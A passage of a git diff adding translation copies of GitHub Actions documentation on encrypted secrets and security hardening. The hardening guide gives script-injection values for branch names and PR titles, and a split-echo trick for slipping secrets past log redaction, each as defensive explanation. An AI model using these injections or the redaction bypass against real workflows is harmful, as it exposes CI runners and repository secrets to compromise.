endraw %} syntax. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." + +### Further reading + +- "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)" diff --git a/translations/ru-RU/content/actions/security-guides/encrypted-secrets.md b/translations/ru-RU/content/actions/security-guides/encrypted-secrets.md new file mode 100644 index 000000000000..fe5355ee5560 --- /dev/null +++ b/translations/ru-RU/content/actions/security-guides/encrypted-secrets.md @@ -0,0 +1,422 @@ +--- +title: Encrypted secrets +intro: 'Encrypted secrets allow you to store sensitive information in your organization{% ifversion fpt or ghes or ghec %}, repository, or repository environments{% else %} or repository{% endif %}.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets + - /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets + - /actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets + - /actions/configuring-and-managing-workflows/using-variables-and-secrets-in-a-workflow + - /actions/reference/encrypted-secrets + - /actions/managing-workflows/storing-secrets + +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About encrypted secrets + +Secrets are encrypted environment variables that you create in an organization, repository, or repository environment. The secrets that you create are available to use in {% data variables.product.prodname_actions %} workflows. {% data variables.product.prodname_dotcom %} uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to help ensure that secrets are encrypted before they reach {% data variables.product.prodname_dotcom %} and remain encrypted until you use them in a workflow. + +{% data reusables.actions.secrets-org-level-overview %} + +For secrets stored at the environment level, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers. + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} + +{% endnote %} + +{% endif %} + +### Naming your secrets + +{% data reusables.codespaces.secrets-naming %} + + For example, a secret created at the environment level must have a unique name in that environment, a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level. + + {% data reusables.codespaces.secret-precedence %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence. + +To help ensure that {% data variables.product.prodname_dotcom %} redacts your secret in logs, avoid using structured data as the values of secrets. For example, avoid creating secrets that contain JSON or encoded Git blobs. + +### Accessing your secrets + +To make a secret available to an action, you must set the secret as an input or environment variable in the workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)." + +You can use and read encrypted secrets in a workflow file if you have access to edit the file. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)." + +{% data reusables.actions.secrets-redaction-warning %} + +Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts. + +You can also manage secrets using the REST API. For more information, see "[Secrets](/rest/reference/actions#secrets)." + +### Limiting credential permissions + +When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/developers/overview/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. When generating a {% data variables.product.pat_v1 %}, select the fewest scopes necessary.{% ifversion pat-v2 %} When generating a {% data variables.product.pat_v2 %}, select the minimum repository access required.{% endif %} + +{% note %} + +**Note:** You can use the REST API to manage secrets. For more information, see "[{% data variables.product.prodname_actions %} secrets API](/rest/reference/actions#secrets)." + +{% endnote %} + +## Creating encrypted secrets for a repository + +{% data reusables.actions.permissions-statement-secrets-repository %} + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.actions.sidebar-secret %} +1. Click **New repository secret**. +1. Type a name for your secret in the **Name** input box. +1. Enter the value for your secret. +1. Click **Add secret**. + +If your repository has environment secrets or can access secrets from the parent organization, then those secrets are also listed on this page. + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To add a repository secret, use the `gh secret set` subcommand. Replace `secret-name` with the name of your secret. + +```shell +gh secret set SECRET_NAME +``` + +The CLI will prompt you to enter a secret value. Alternatively, you can read the value of the secret from a file. + +```shell +gh secret set SECRET_NAME < secret.txt +``` + +To list all secrets for the repository, use the `gh secret list` subcommand. + +{% endcli %} + +## Creating encrypted secrets for an environment + +{% data reusables.actions.permissions-statement-secrets-environment %} + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.actions.sidebar-environment %} +1. Click on the environment that you want to add a secret to. +2. Under **Environment secrets**, click **Add secret**. +3. Type a name for your secret in the **Name** input box. +4. Enter the value for your secret. +5. Click **Add secret**. + +{% endwebui %} + +{% cli %} + +To add a secret for an environment, use the `gh secret set` subcommand with the `--env` or `-e` flag followed by the environment name. + +```shell +gh secret set --env ENV_NAME SECRET_NAME +``` + +To list all secrets for an environment, use the `gh secret list` subcommand with the `--env` or `-e` flag followed by the environment name. + +```shell +gh secret list --env ENV_NAME +``` + +{% endcli %} + +## Creating encrypted secrets for an organization + +When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories. + +{% data reusables.actions.permissions-statement-secrets-organization %} + +{% webui %} + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.actions.sidebar-secret %} +1. Click **New organization secret**. +1. Type a name for your secret in the **Name** input box. +1. Enter the **Value** for your secret. +1. From the **Repository access** dropdown list, choose an access policy. +1. Click **Add secret**. + +{% endwebui %} + +{% cli %} + +{% note %} + +**Note:** By default, {% data variables.product.prodname_cli %} authenticates with the `repo` and `read:org` scopes. To manage organization secrets, you must additionally authorize the `admin:org` scope. + +``` +gh auth login --scopes "admin:org" +``` + +{% endnote %} + +To add a secret for an organization, use the `gh secret set` subcommand with the `--org` or `-o` flag followed by the organization name. + +```shell +gh secret set --org ORG_NAME SECRET_NAME +``` + +By default, the secret is only available to private repositories. To specify that the secret should be available to all repositories within the organization, use the `--visibility` or `-v` flag. + +```shell +gh secret set --org ORG_NAME SECRET_NAME --visibility all +``` + +To specify that the secret should be available to selected repositories within the organization, use the `--repos` or `-r` flag. + +```shell +gh secret set --org ORG_NAME SECRET_NAME --repos REPO-NAME-1, REPO-NAME-2" +``` + +To list all secrets for an organization, use the `gh secret list` subcommand with the `--org` or `-o` flag followed by the organization name. + +```shell +gh secret list --org ORG_NAME +``` + +{% endcli %} + +## Reviewing access to organization-level secrets + +You can check which access policies are being applied to a secret in your organization. + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.actions.sidebar-secret %} +1. The list of secrets includes any configured permissions and policies. For example: +![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png) +1. For more details on the configured permissions for each secret, click **Update**. + +## Using encrypted secrets in a workflow + +{% note %} + +**Notes:** + +* {% data reusables.actions.forked-secrets %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + +* Secrets are not automatically passed to reusable workflows. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)." + +{% endif %} + +{% endnote %} + +To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)." + +{% raw %} +```yaml +steps: + - name: Hello world action + with: # Set the secret as an input + super_secret: ${{ secrets.SuperSecret }} + env: # Or as an environment variable + super_secret: ${{ secrets.SuperSecret }} +``` +{% endraw %} + +Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job. For more information, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)" and [`jobs..steps[*].if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsif). + +If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string. + +Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process. + +If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example: + +### Example using Bash + +{% raw %} +```yaml +steps: + - shell: bash + env: + SUPER_SECRET: ${{ secrets.SuperSecret }} + run: | + example-command "$SUPER_SECRET" +``` +{% endraw %} + +### Example using PowerShell + +{% raw %} +```yaml +steps: + - shell: pwsh + env: + SUPER_SECRET: ${{ secrets.SuperSecret }} + run: | + example-command "$env:SUPER_SECRET" +``` +{% endraw %} + +### Example using Cmd.exe + +{% raw %} +```yaml +steps: + - shell: cmd + env: + SUPER_SECRET: ${{ secrets.SuperSecret }} + run: | + example-command "%SUPER_SECRET%" +``` +{% endraw %} + +## Limits for secrets + +You can store up to 1,000 organization secrets, 100 repository secrets, and 100 environment secrets. + +A workflow created in a repository can access the following number of secrets: + +* All 100 repository secrets. +* If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name). +* All 100 environment secrets. + +Secrets are limited to 64 KB in size. To store larger secrets, see the "[Storing large secrets](#storing-large-secrets)" workaround below. + +### Storing large secrets + +To use secrets that are larger than 64 KB, you can use a workaround to store encrypted secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt a file containing your secret locally before checking the encrypted file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the "[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)." + +{% warning %} + +**Warning**: Be careful that your secrets do not get printed when your workflow runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs. + +{% endwarning %} + +1. Run the following command from your terminal to encrypt the file containing your secret using `gpg` and the AES256 cipher algorithm. In this example, `my_secret.json` is the file containing the secret. + + ```bash + gpg --symmetric --cipher-algo AES256 my_secret.json + ``` + +1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value. + +1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you used in the step above. + +1. Copy your encrypted file to a path in your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`. + + {% warning %} + + **Warning**: Make sure to copy the encrypted `my_secret.json.gpg` file ending with the `.gpg` file extension, and **not** the unencrypted `my_secret.json` file. + + {% endwarning %} + + ```bash + git add my_secret.json.gpg + git commit -m "Add new encrypted secret JSON file" + ``` + +1. Create a shell script in your repository to decrypt the secret file. In this example, the script is named `decrypt_secret.sh`. + + ```bash + #!/bin/sh + + # Decrypt the file + mkdir $HOME/secrets + # --batch to prevent interactive command + # --yes to assume "yes" for questions + gpg --quiet --batch --yes --decrypt --passphrase="$LARGE_SECRET_PASSPHRASE" \ + --output $HOME/secrets/my_secret.json my_secret.json.gpg + ``` + +1. Ensure your shell script is executable before checking it in to your repository. + + ```bash + chmod +x decrypt_secret.sh + git add decrypt_secret.sh + git commit -m "Add new decryption script" + git push + ``` + +1. In your {% data variables.product.prodname_actions %} workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository. + + ```yaml + name: Workflows with large secrets + + on: push + + jobs: + my-job: + name: My Job + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Decrypt large secret + run: ./decrypt_secret.sh + env: + LARGE_SECRET_PASSPHRASE: {% raw %}${{ secrets.LARGE_SECRET_PASSPHRASE }}{% endraw %} + # This command is just an example to show your secret being printed + # Ensure you remove any print statements of your secrets. GitHub does + # not hide secrets that use this workaround. + - name: Test printing your secret (Remove this step in production) + run: cat $HOME/secrets/my_secret.json + ``` + +## Storing Base64 binary blobs as secrets + +You can use Base64 encoding to store small binary blobs as secrets. You can then reference the secret in your workflow and decode it for use on the runner. For the size limits, see ["Limits for secrets"](/actions/security-guides/encrypted-secrets#limits-for-secrets). + +{% note %} + +**Note**: Note that Base64 only converts binary to text, and is not a substitute for actual encryption. + +{% endnote %} + +1. Use `base64` to encode your file into a Base64 string. For example: + + ``` + $ base64 -i cert.der -o cert.base64 + ``` + +1. Create a secret that contains the Base64 string. For example: + + ``` + $ gh secret set CERTIFICATE_BASE64 < cert.base64 + ✓ Set secret CERTIFICATE_BASE64 for octocat/octorepo + ``` + +1. To access the Base64 string from your runner, pipe the secret to `base64 --decode`. For example: + + ```yaml + name: Retrieve Base64 secret + on: + push: + branches: [ octo-branch ] + jobs: + decode-secret: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Retrieve the secret and decode it to a file + env: + {% raw %}CERTIFICATE_BASE64: ${{ secrets.CERTIFICATE_BASE64 }}{% endraw %} + run: | + echo $CERTIFICATE_BASE64 | base64 --decode > cert.der + - name: Show certificate information + run: | + openssl x509 -in cert.der -inform DER -text -noout + ``` diff --git a/translations/ru-RU/content/actions/security-guides/index.md b/translations/ru-RU/content/actions/security-guides/index.md new file mode 100644 index 000000000000..ace4f63973f9 --- /dev/null +++ b/translations/ru-RU/content/actions/security-guides/index.md @@ -0,0 +1,21 @@ +--- +title: Руководства по безопасности +shortTitle: Security guides +intro: 'Усиление безопасности и рекомендации для {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /security-hardening-for-github-actions + - /encrypted-secrets + - /automatic-token-authentication +ms.openlocfilehash: 3deac3e698cec0e3008defd38d681a1ffa30a5d2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884926' +--- + diff --git a/translations/ru-RU/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/ru-RU/content/actions/security-guides/security-hardening-for-github-actions.md new file mode 100644 index 000000000000..f536b5df5b33 --- /dev/null +++ b/translations/ru-RU/content/actions/security-guides/security-hardening-for-github-actions.md @@ -0,0 +1,390 @@ +--- +title: Security hardening for GitHub Actions +shortTitle: Security hardening +intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.' +redirect_from: + - /actions/getting-started-with-github-actions/security-hardening-for-github-actions + - /actions/learn-github-actions/security-hardening-for-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Security +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview + +This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)." + +## Using secrets + +Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.product_name %}. + +Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime. + +To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: + +- **Never use structured data as a secret** + - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. +- **Register all secrets used within workflows** + - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. + - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. +- **Audit how secrets are handled** + - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. + - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. +- **Use credentials that are minimally scoped** + - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. + - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." +- **Audit and rotate registered secrets** + - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. + - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. +- **Consider requiring review for access to secrets** + - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." + +{% warning %} + +**Warning**: Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required. + +{% endwarning %} + +## Using `CODEOWNERS` to monitor changes + +You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. + +For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." + +## Understanding the risk of script injections + +When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. + + Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. + + You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." + +In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. + +The following sections explain how you can help mitigate the risk of script injection. + +### Example of a script injection attack + +A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: + +{% raw %} +``` + - name: Check PR title + run: | + title="${{ github.event.pull_request.title }}" + if [[ $title =~ ^octocat ]]; then + echo "PR title starts with 'octocat'" + exit 0 + else + echo "PR title did not start with 'octocat'" + exit 1 + fi +``` +{% endraw %} + +This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. + +To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: + +![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png) + +In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: + +![Example result of script injection](/assets/images/help/images/example-script-injection-result.png) + +## Good practices for mitigating script injection attacks + +There are a number of different approaches available to help you mitigate the risk of script injection: + +### Using an action instead of an inline script (recommended) + +The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument: + +{% raw %} +``` +uses: fakeaction/checktitle@v3 +with: + title: ${{ github.event.pull_request.title }} +``` +{% endraw %} + +### Using an intermediate environment variable + +For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. + +The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: + +{% raw %} +``` + - name: Check PR title + env: + TITLE: ${{ github.event.pull_request.title }} + run: | + if [[ "$TITLE" =~ ^octocat ]]; then + echo "PR title starts with 'octocat'" + exit 0 + else + echo "PR title did not start with 'octocat'" + exit 1 + fi +``` +{% endraw %} + +In this example, the attempted script injection is unsuccessful: + +![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png) + +With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}. + +{% ifversion fpt or ghec %} +### Using starter workflows for code scanning + +{% data reusables.advanced-security.starter-workflows-beta %} +{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available. + +For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)" and "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." + +{% endif %} + +### Restricting permissions for tokens + +To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)." + +{% ifversion fpt or ghec or ghes > 3.4 %} + +## Using OpenID Connect to access cloud resources + +{% data reusables.actions.about-oidc-short-overview %} + +{% endif %} + +## Using third-party actions + +The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. + +This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." + +You can help mitigate this risk by following these good practices: + +* **Pin actions to a full length commit SHA** + + Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. + +* **Audit the source code of the action** + + Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. + +* **Pin actions to a tag only if you trust the creator** + + Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +## Reusing third-party workflows + +The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +{% endif %} + +{% ifversion internal-actions %} +## Allowing workflows to access internal repositories + +{% data reusables.actions.outside-collaborators-internal-actions %} For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)." +{% endif %} + +{% ifversion allow-actions-to-approve-pr %} +## Preventing {% data variables.product.prodname_actions %} from {% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating or {% endif %}approving pull requests + +{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create or {% endif %}approve pull requests could be a security risk if the pull request is merged without proper oversight. + +For more information on how to configure this setting, see {% ifversion allow-actions-to-approve-pr-with-ent-repo %}{% ifversion ghes or ghec or ghae %}"[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)",{% endif %}{% endif %} "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-{% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating-or-{% endif %}approving-pull-requests)"{% ifversion allow-actions-to-approve-pr-with-ent-repo %}, and "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)"{% endif %}. +{% endif %} + +## Using OpenSSF Scorecards to secure workflows + +[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [starter workflow](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in code scanning experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions. + +## Potential impact of a compromised runner + +These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. + +{% note %} + +**Note:** {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library. + +{% endnote %} + +### Accessing secrets + +Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). + +- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. +- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. +- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: + + {% raw %} + ``` + uses: fakeaction/publish@v3 + with: + key: ${{ secrets.PUBLISH_KEY }} + ``` + {% endraw %} + +Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. + +### Exfiltrating data from a runner + +An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. + +### Stealing the job's `GITHUB_TOKEN` + +It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: 